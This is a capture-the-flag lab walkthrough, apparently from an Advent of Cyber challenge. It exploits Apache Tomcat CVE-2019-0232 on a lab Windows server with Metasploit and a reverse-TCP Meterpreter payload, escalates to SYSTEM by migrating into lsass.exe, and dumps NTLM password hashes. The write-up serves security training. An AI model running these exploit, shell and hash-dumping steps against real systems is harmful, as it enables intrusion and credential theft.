

Day 12 - Ready, set, elf.

Scenario

Day 12: Ready, set, elf. - Prelude:

Christmas is fast approaching, yet, all remain silent at *The Best Festival Company* (TBFC). What gives?! The cheek of those elves - slacking at the festive period! Santa has no time for slackers in his workshop. After all, the sleigh won't fill itself, nor will the good and naughty lists be sorted. Santa has tasked you, Elf McEager, with whacking those elves back in line.

[Watch DarkStar's video on solving this task!](#)

12.8. It's Challenge Time

To solve Elf McSkidy's problem with the elves slacking in the workshop, he has created the CGI script: **elfwhacker.bat**

Deploy the instance attached to this task, use your NMAP skills from "Day 8 - What's Under the Christmas Tree?" to find out what port the webserver (MACHINE_IP) is running on...Visit the application and discover the installation version, weaponise this information by searching knowledgebases for exploits and Meterpreter payloads possible and whack those elves!.

As this is a Windows machine, please allow a minimum of five minutes for it to deploy before beginning your enumeration.

Bonus: There are at least two ways of escalating your privileges after you gain entry. Find these out and pivot at your leisure! (please note that this is optional for the day should you fancy the challenge...)

let's perform port scanning first

//it seems like the web server was hosted on port 8080 as this tomcat server looks kinda sus (might have public CVEs)

```

PORT      STATE SERVICE      VERSION
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: TBFC-WEB-01
|   NetBIOS_Domain_Name: TBFC-WEB-01
|   NetBIOS_Computer_Name: TBFC-WEB-01
|   DNS_Domain_Name: tbfc-web-01
|   DNS_Computer_Name: tbfc-web-01
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-14T22:59:44+00:00
|_  ssl-cert: Subject: commonName=tbfc-web-01
|   Not valid before: 2020-12-11T21:55:21
|_  Not valid after: 2021-06-12T21:55:21
|_  ssl-date: 2020-12-14T22:59:47+00:00; 0s from scanner time.
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Service Unavailable
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
|_ ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http         Apache Tomcat 9.0.17
|_ http-favicon: Apache Tomcat
|_ http-open-proxy: Proxy might be redirecting requests
|_ http-title: Apache Tomcat/9.0.17
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

```

Question: What is the version number of the web server?
-9.0.17

now let's find if there are any CVEs for this tomcat 9.0.17 using googleFu & we found it in cvedetails.com
//one code execution vulnerability for this version of tomcat interesting...

[Apache](#) » [Tomcat](#) » [9.0.17](#) : Vulnerability Statistics

[Vulnerabilities \(3\)](#) [Related Metasploit Modules](#) (Cpe Name: *cpe:/a:apache:tomcat:9.0.17*)

[Vulnerability Feeds & Widgets](#)

Vulnerability Trends Over Time

Year	# of Vulnerabilities	DoS	Code Execution	Overflow	Memory Corruption	Sql Injection	XSS	Dir Trav
2019	3		1				1	
Total	3		1				1	
% Of All		0.0	33.3	0.0	0.0	0.0	33.3	

Warning : Vulnerabilities with publish dates before 1999 are not included in this table and chart. / B

with 9.3 CVSS score (man that was high)
//there's metasploit module that we can use here

Vulnerability Details : [CVE-2019-0232](#) (1 Metasploit modules)

When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disabled by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulfstange's blog (<https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html>) and this archived MSDN blog (<https://web.archive.org/web/20161228144344/https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/>).
Publish Date : 2019-04-15 Last Update Date : 2019-06-01

[Collapse All](#) [Expand All](#) [Select](#) [Select&Copy](#)
[Search Twitter](#) [Search YouTube](#) [Search Google](#)

[Scroll To](#) [Comments](#) [External Links](#)

– CVSS Scores & Vulnerability Types

CVSS Score	9.3
Confidentiality Impact	Complete (There is total information disclosure, resulting in all system files being revealed.)
Integrity Impact	Complete (There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the entire system being compromised.)
Availability Impact	Complete (There is a total shutdown of the affected resource. The attacker can render the resource completely unavailable.)
Access Complexity	Medium (The access conditions are somewhat specialized. Some preconditions must be satisfied to exploit)
Authentication	Not required (Authentication is not required to exploit the vulnerability.)
Gained Access	None
Vulnerability Type(s)	Execute Code
CWE ID	20

here it stated that 'when running on Windows with enableCmdLineArguments enabled'
//we know that the web server was hosted on a Windows machine, probably it have enableCmdLineArguments enabled

When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disabled by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulfstange's blog

Question: What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)
-CVE-2019-0232

let's search for the CVE id in metasploit & we've found it

```
msf6 > search CVE-2019-0232
```

Matching Modules

Developer Quick Start

		Readings & AAA		Examples		Service Specifications
		First Web Application	Disclosure Date	Rank	Check	Description
#	Name					Tomcat Versions
0	exploit/windows/http/tomcat_cgi_cmdlineargs		2019-04-10	excellent	Yes	Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability

if we notice that, we need to specify the CGI script path in order to exploit the web server

```
TARGETURI / yes TM The URI path to CGI script  
VHOST no HTTP server virtual host
```

& in the challenge it stated that Elf McSkidy had created a CGI script name 'elfwhacker.bat' somewhere around the web server

he has created the CGI script: elfwhacker.bat

so let's use googleFu again to find the default cgi-bin location & we've found it placed under /cgi-bin directory

tomcat cgi script location



All

Videos

Images

News

Shopping

More

Settings

Top

About 573,000 results (0.60 seconds)

tomcat.apache.org › tomcat-7.0-doc › cgi-howto ▾

[Apache Tomcat 7 \(7.0.107\) - CGI How To](#)

Nov 18, 2020 — Traditionally, this servlet is mapped to the URL pattern `"/cgi-bin/*"`. By default CGI support is disabled in Tomcat. CAUTION - CGI scripts are used to execute programs external to the Tomcat JVM. If you are using the Java SecurityManager this will bypass your security policy configuration in catalina.

let's check out in the web server & yep we've found it!

10.10.211.16:8080/cgi-bin



10.10.211.16:8080/cgi-bin/elfwhacker.bat



Kali Linux



Kali Training



Kali Tools



Kali Docs



Kali Forums



NetHunter

Written by ElfMcEager for The Best Festival Company ~CMNatic

Current time: 14/12/2020 23:16:21.33

----- Debugging Information -----

Hostname: TBFC-WEB-01

User: tbfc-web-01\elfmcskidy

----- ELF WHACK COUNTER -----

Number of Elves whacked and sent back to work: 5064

now let's fill in those information into the exploit parameters

```
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > set RHOSTS 10.10.211.16
RHOSTS => 10.10.211.16
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > set targeturi /cgi-bin/elfwhacker.bat
targeturi => /cgi-bin/elfwhacker.bat
```

let's check whether it's vulnerable to the exploit or not & yes! it's vulnerable to the exploit

```
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > check
[+] 10.10.211.16:8080 - The target is vulnerable.
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > █
```

now let's fill up the payload & our listening host info

```
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > set lhost tun0
lhost => tun0
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > set lport 18890
```

run the exploit, & voila we've opened a meterpreter session

```
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit

[*] Started reverse TCP handler on 10.8.20.97:18890
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Command Stager progress - 6.95% done (6999/100668 bytes)
[*] Command Stager progress - 13.91% done (13998/100668 bytes)
[*] Command Stager progress - 20.86% done (20997/100668 bytes)
[*] Command Stager progress - 27.81% done (27996/100668 bytes)
[*] Command Stager progress - 34.76% done (34995/100668 bytes)
[*] Command Stager progress - 41.72% done (41994/100668 bytes)
[*] Command Stager progress - 48.67% done (48993/100668 bytes)
[*] Command Stager progress - 55.62% done (55992/100668 bytes)
[*] Command Stager progress - 62.57% done (62991/100668 bytes)
[*] Command Stager progress - 69.53% done (69990/100668 bytes)
[*] Command Stager progress - 76.48% done (76989/100668 bytes)
[*] Command Stager progress - 83.43% done (83988/100668 bytes)
[*] Command Stager progress - 90.38% done (90987/100668 bytes)
[*] Command Stager progress - 97.34% done (97986/100668 bytes)
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Sending stage (175174 bytes) to 10.10.211.16
[*] Meterpreter session 1 opened (10.8.20.97:18890 -> 10.10.211.16:49888) at 2020-12-14 18:23:59 -0500

meterpreter >
```

get the uid & we're elfmcskidy now

```
meterpreter > getuid
Server username: TBFC-WEB-01\elfmcskidy
meterpreter > █
```

now let's find the flag1.txt location, we can use where.exe
//it placed right in our current directory man...

```
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>where /r c:\ flag1.txt
where /r c:\ flag1.txt
c:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin\flag1.txt
█
```


bonus: let's try to find a way to privilege escalate to nt authority/system

let's gather some info of our current user privileges

//SeImpersonatePrivilege, since we have this privilege, let's use Process Migration Technique to steal the token of NT Authority/System process

//reading material: Process Migration - tokens stealing (like a meterpreter) (linkedin.com)

```
Enabled Process Privileges
=====
Name
-----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter >
```

checking the process running & this lsass.exe process are running in NT Authority\System

776	688	lsass.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsass.exe
800	756	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe

let's migrate into this process

```
meterpreter > migrate 776
[*] Migrating from 1020 to 776 ...
[*] Migration completed successfully.
```

check out uid again & we're NT Authority\System

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
```

now we can perform hashdump & accessing Administrator's home directory

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:568a741b56c79622cc3f4c83720bf45e :::
cmnatic:1004:aad3b435b51404eeaad3b435b51404ee:568a741b56c79622cc3f4c83720bf45e :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
elfmcskidy:1000:aad3b435b51404eeaad3b435b51404ee:568a741b56c79622cc3f4c83720bf45e :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7394d221db3457fcb63b8f73d4f9c039 :::
meterpreter > shell
```

```
C:\Users\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4277-4242

Current time: 14/12/2020 23:16:21.33
Directory of C:\Users\Administrator

21/11/2020  02:17    <DIR>          .
21/11/2020  02:17    <DIR>          ..
13/12/2020  13:26    <DIR>          3D Objects
13/12/2020  13:26    <DIR>          Contacts
13/12/2020  14:36    <DIR>          Desktop
13/12/2020  16:21    <DIR>          Documents
13/12/2020  13:26    <DIR>          Downloads
13/12/2020  13:26    <DIR>          Favorites
13/12/2020  13:26    <DIR>          Links
13/12/2020  13:26    <DIR>          Music
13/12/2020  13:26    <DIR>          Pictures
13/12/2020  13:26    <DIR>          Saved Games
13/12/2020  13:26    <DIR>          Searches
13/12/2020  13:26    <DIR>          Videos
               0 File(s)                0 bytes
              14 Dir(s)  6,548,688,896 bytes free
```